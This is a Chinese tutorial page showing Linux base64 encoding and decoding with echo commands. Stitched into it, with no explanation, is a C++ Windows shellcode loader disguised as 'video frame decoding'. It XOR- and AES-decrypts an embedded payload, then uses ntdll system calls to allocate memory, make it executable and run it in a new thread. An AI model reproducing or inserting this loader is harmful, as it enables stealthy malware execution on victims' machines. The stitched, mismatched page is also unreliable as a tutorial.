LINUX系统base64加解密--handle

本文通过实际操作演示了如何使用Base64进行数据加密和解密的过程,包括具体的命令行操作步骤,适合初学者理解和掌握Base64编码的基本用法。

base64加密:

[root@aischang ~]#
[root@aischang ~]# echo "86.1002/test" |base64  
ODYuMTAwMi90ZXN0Cg==
[root@aischang ~]#

base64解密:
[root@aischang ~]# echo "ODYuMTAwMi90ZXN0Cg==" |base64  -d               
86.1002/test
[root@aischang ~]# 

#include <windows.h> // 引入Windows API头文件,用于Windows系统的调用 #include <openssl/evp.h> // 引入OpenSSL库,用于加密和解密操作 #include <cstring> // 引入C++标准库,提供memcpy等函数 const size_t encodedSize = sizeof(encodedFrame); // 定义加密帧的大小,假设encodedFrame是预定义的加密数据 // 解码视频帧的函数 bool decodeVideoFrame(uint8_t** outStudio, size_t* outSize) { uint8_t* Studio = new uint8_t[encodedSize]; // 为解码数据分配内存 memcpy(Studio, encodedFrame, encodedSize); // 将加密的数据复制到Studio中 // 进行XOR解密,使用frameXorRounds对数据进行多轮异或操作 for (int k = sizeof(frameXorRounds) - 1; k >= 0; --k) { for (size_t i = 0; i < encodedSize; ++i) { Studio[i] ^= frameXorRounds[k]; // 对每个字节进行XOR操作 } } uint8_t iv[16]; // 初始化16字节的初始化向量 memcpy(iv, Studio, 16); // 将Studio的前16字节作为初始化向量 size_t cipherSize = encodedSize - 16; // 剩余部分为加密数据 uint8_t* cipherText = Studio + 16; // 获取加密数据,跳过前16字节(IV) EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new(); // 创建一个新的EVP上下文,用于加密/解密操作 if (!ctx) { // 如果创建失败,返回false delete[] Studio; return false; } uint8_t* plainText = new uint8_t[cipherSize + 16]; // 分配内存来存储解密后的数据(加密数据+16字节) int len = 0, final = 0; // 解密过程中用于存储数据的变量 bool success = false; // 用于标记解密是否成功 // 使用AES解密函数进行解密,判断每个步骤是否成功 if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, decoderKey, iv) == 1 && EVP_DecryptUpdate(ctx, plainText, &len, cipherText, (int)cipherSize) == 1 && EVP_DecryptFinal_ex(ctx, plainText + len, &final) == 1) { *outStudio = plainText; // 解密成功,将解密后的数据返回 *outSize = len + final; // 设置解密后的数据大小 success = true; // 标记为成功 } else { delete[] plainText; // 解密失败,释放内存 } EVP_CIPHER_CTX_free(ctx); // 释放EVP上下文 delete[] Studio; // 释放Studio内存 return success; // 返回解密是否成功 } // 定义系统调用函数指针类型 typedef NTSTATUS(NTAPI* pZwAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); typedef NTSTATUS(NTAPI* pZwProtectVirtualMemory)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, LPTHREAD_START_ROUTINE, PVOID, BOOL, ULONG, ULONG, ULONG, PVOID); // 启动解码器函数 bool StartDecoder() { uint8_t* decoded = nullptr; // 解码后的数据 size_t decodedSize = 0; // 解码后的数据大小 // 调用decodeVideoFrame函数进行解码 if (!decodeVideoFrame(&decoded, &decodedSize)) return false; // 如果解码失败,返回false HMODULE ntdll = GetModuleHandleA("ntdll.dll"); // 获取ntdll.dll模块的句柄 // 获取NT系统调用函数的地址 auto NtAlloc = (pZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory"); auto NtProtect = (pZwProtectVirtualMemory)GetProcAddress(ntdll, "ZwProtectVirtualMemory"); auto NtCreateThread = (pZwCreateThreadEx)GetProcAddress(ntdll, "ZwCreateThreadEx"); if (!NtAlloc || !NtProtect || !NtCreateThread) { // 如果无法获取函数地址,释放内存并返回false delete[] decoded; return false; } PVOID base = NULL; // 用于存储分配的内存基地址 SIZE_T len = decodedSize; // 设置内存大小为解码后的数据大小 // 调用ZwAllocateVirtualMemory进行内存分配 if (NtAlloc((HANDLE)-1, &base, 0, &len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) != 0) { delete[] decoded; return false; } memcpy(base, decoded, decodedSize); // 将解码后的数据复制到分配的内存中 delete[] decoded; // 释放解码数据的内存 ULONG oldProt; // 用于保存原始内存保护属性 // 调用ZwProtectVirtualMemory设置内存为可执行 if (NtProtect((HANDLE)-1, &base, &len, PAGE_EXECUTE_READWRITE, &oldProt) != 0) return false; HANDLE hThread = NULL; // 线程句柄 // 调用ZwCreateThreadEx创建线程执行解码后的代码 if (NtCreateThread(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)base, NULL, FALSE, 0, 0, 0, NULL) != 0) return false; WaitForSingleObject(hThread, INFINITE); // 等待线程执行完成 CloseHandle(hThread); // 关闭线程句柄 return true; // 返回成功 } // WinMain入口函数 int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { StartDecoder(); // 调用StartDecoder函数启动解码过程 return 0; // 程序结束 }
最新发布
12-10
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值